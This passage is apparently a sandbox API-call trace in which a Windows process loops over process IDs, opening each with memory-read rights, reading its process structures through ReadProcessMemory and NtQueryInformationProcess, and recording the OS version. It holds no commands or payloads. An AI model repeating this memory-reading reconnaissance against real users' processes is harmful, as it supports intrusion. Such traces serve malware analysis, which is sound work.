lpNumberOfBytesRead=0x0) returned 1 [0219.428] ReadProcessMemory (in: hProcess=0x468, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0219.428] ReadProcessMemory (in: hProcess=0x468, lpBaseAddress=0x461ce0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0219.429] ReadProcessMemory (in: hProcess=0x468, lpBaseAddress=0x4618f8, lpBuffer=0x670ffc3f0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0219.430] NtQueryInformationProcess (in: ProcessHandle=0x468, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0219.431] NtQueryInformationProcess (in: ProcessHandle=0x468, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0219.431] ReadProcessMemory (in: hProcess=0x468, lpBaseAddress=0x2cf020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0219.431] ReadProcessMemory (in: hProcess=0x468, lpBaseAddress=0x4612e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0219.431] malloc (_Size=0x70) returned 0x196ef0d4f50 [0219.432] ReadProcessMemory (in: hProcess=0x468, lpBaseAddress=0x461960, lpBuffer=0x196ef0d4f50, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4f50*, lpNumberOfBytesRead=0x0) returned 1 [0219.432] free (_Block=0x196ef0d4f50) [0219.433] CloseHandle (hObject=0x468) returned 1 [0219.433] _ui64tow_s (in: _Value=0xfc0, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4032") returned 0x0 [0219.438] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="4032") returned 4 [0219.439] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0219.439] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0219.454] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfc0) returned 0x468 [0219.454] GetLastError () returned 0x0 [0219.455] NtQueryInformationProcess (in: ProcessHandle=0x468, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0219.455] ReadProcessMemory (in: hProcess=0x468, lpBaseAddress=0x205018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0219.455] ReadProcessMemory (in: hProcess=0x468, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0219.456] ReadProcessMemory (in: hProcess=0x468, lpBaseAddress=0x551ce0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0219.456] ReadProcessMemory (in: hProcess=0x468, lpBaseAddress=0x5518f8, lpBuffer=0x670ffc3f0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0219.457] NtQueryInformationProcess (in: ProcessHandle=0x468, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0219.458] NtQueryInformationProcess (in: ProcessHandle=0x468, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0219.458] ReadProcessMemory (in: hProcess=0x468, lpBaseAddress=0x205020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0219.458] ReadProcessMemory (in: hProcess=0x468, lpBaseAddress=0x5512e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0219.458] malloc (_Size=0x70) returned 0x196ef0d4f50 [0219.458] ReadProcessMemory (in: hProcess=0x468, lpBaseAddress=0x551960, lpBuffer=0x196ef0d4f50, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4f50*, lpNumberOfBytesRead=0x0) returned 1 [0219.459] free (_Block=0x196ef0d4f50) [0219.460] CloseHandle (hObject=0x468) returned 1 [0219.460] _ui64tow_s (in: _Value=0xfc8, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4040") returned 0x0 [0219.465] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="4040") returned 4 [0219.466] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0219.466] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0219.539] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfc8) returned 0x45c [0219.539] GetLastError () returned 0x0 [0219.539] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0219.539] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x3b2018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0219.539] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0219.540] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x591cd0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0219.540] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x5918f8, lpBuffer=0x670ffc3f0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0219.541] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0219.542] NtQueryInformationProcess (in: ProcessHandle=0x45c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0219.542] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x3b2020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0219.542] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x5912e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0219.543] malloc (_Size=0x6a) returned 0x196ef0d4f50 [0219.543] ReadProcessMemory (in: hProcess=0x45c, lpBaseAddress=0x59195a, lpBuffer=0x196ef0d4f50, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4f50*, lpNumberOfBytesRead=0x0) returned 1 [0219.543] free (_Block=0x196ef0d4f50) [0219.544] CloseHandle (hObject=0x45c) returned 1 [0219.545] _ui64tow_s (in: _Value=0xfd4, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4052") returned 0x0 [0219.549] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="4052") returned 4 [0219.550] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0219.550] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0219.642] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfd4) returned 0x460 [0219.642] GetLastError () returned 0x0 [0219.643] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0219.643] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x3be018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0219.643] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0219.643] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x4d1d00, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0219.643] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x4d18f8, lpBuffer=0x670ffc3f0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0219.644] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0219.646] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0219.646] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x3be020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0219.646] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x4d12e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0219.646] malloc (_Size=0x78) returned 0x196ef0d2120 [0219.646] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x4d1968, lpBuffer=0x196ef0d2120, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0219.646] free (_Block=0x196ef0d2120) [0219.647] CloseHandle (hObject=0x460) returned 1 [0219.648] _ui64tow_s (in: _Value=0xfdc, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4060") returned 0x0 [0219.652] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="4060") returned 4 [0219.653] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0219.653] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0219.670] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfdc) returned 0x460 [0219.670] GetLastError () returned 0x0 [0219.670] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0219.670] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x2a1018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0219.671] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0219.671] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x591d10, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0219.671] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x5918f8, lpBuffer=0x670ffc3f0, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0219.672] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0219.673] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0219.673] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x2a1020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0219.752] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x5912e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0219.752] malloc (_Size=0x7e) returned 0x196ef0d31b0 [0219.752] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x59196e, lpBuffer=0x196ef0d31b0, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0219.753] free (_Block=0x196ef0d31b0) [0219.754] CloseHandle (hObject=0x460) returned 1 [0219.755] _ui64tow_s (in: _Value=0xff0, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4080") returned 0x0 [0219.762] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="4080") returned 4 [0219.764] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0219.764] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0219.783] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xff0) returned 0x460 [0219.783] GetLastError () returned 0x0 [0219.784] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0219.784] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x37d018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0219.784] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0219.784] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x561cd0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0219.785] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x5618f8, lpBuffer=0x670ffc3f0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0219.786] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0219.787] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0219.787] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x37d020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0219.787] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x5612e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0219.787] malloc (_Size=0x6a) returned 0x196ef0d31b0 [0219.787] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x56195a, lpBuffer=0x196ef0d31b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0219.788] free (_Block=0x196ef0d31b0) [0219.789] CloseHandle (hObject=0x460) returned 1 [0219.789] _ui64tow_s (in: _Value=0xff8, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4088") returned 0x0 [0219.794] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="4088") returned 4 [0219.795] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0219.795] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0219.878] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xff8) returned 0x460 [0219.878] GetLastError () returned 0x0 [0219.879] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0219.879] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x2b5018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0219.879] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0219.879] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x5e1cf0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0219.880] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x5e18f8, lpBuffer=0x670ffc3f0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0219.881] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0219.882] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0219.882] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x2b5020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0219.882] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x5e12e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0219.882] malloc (_Size=0x72) returned 0x196ef0d4f50 [0219.882] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x5e1962, lpBuffer=0x196ef0d4f50, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4f50*, lpNumberOfBytesRead=0x0) returned 1 [0219.883] free (_Block=0x196ef0d4f50) [0219.886] CloseHandle (hObject=0x460) returned 1 [0219.888] _ui64tow_s (in: _Value=0x1004, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4100") returned 0x0 [0219.900] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="4100") returned 4 [0219.903] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0219.903] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0220.072] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1004) returned 0x460 [0220.072] GetLastError () returned 0x0 [0220.073] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0220.073] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x37f018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0220.073] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0220.073] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x511cd0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0220.073] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x5118f8, lpBuffer=0x670ffc3f0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0220.074] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0220.076] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0220.076] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x37f020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0220.076] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x5112e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0220.076] malloc (_Size=0x6a) returned 0x196ef0d4f50 [0220.076] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x51195a, lpBuffer=0x196ef0d4f50, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4f50*, lpNumberOfBytesRead=0x0) returned 1 [0220.077] free (_Block=0x196ef0d4f50) [0220.078] CloseHandle (hObject=0x460) returned 1 [0220.079] _ui64tow_s (in: _Value=0x100c, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4108") returned 0x0 [0220.083] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="4108") returned 4 [0220.084] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0220.084] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0220.158] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x100c) returned 0x460 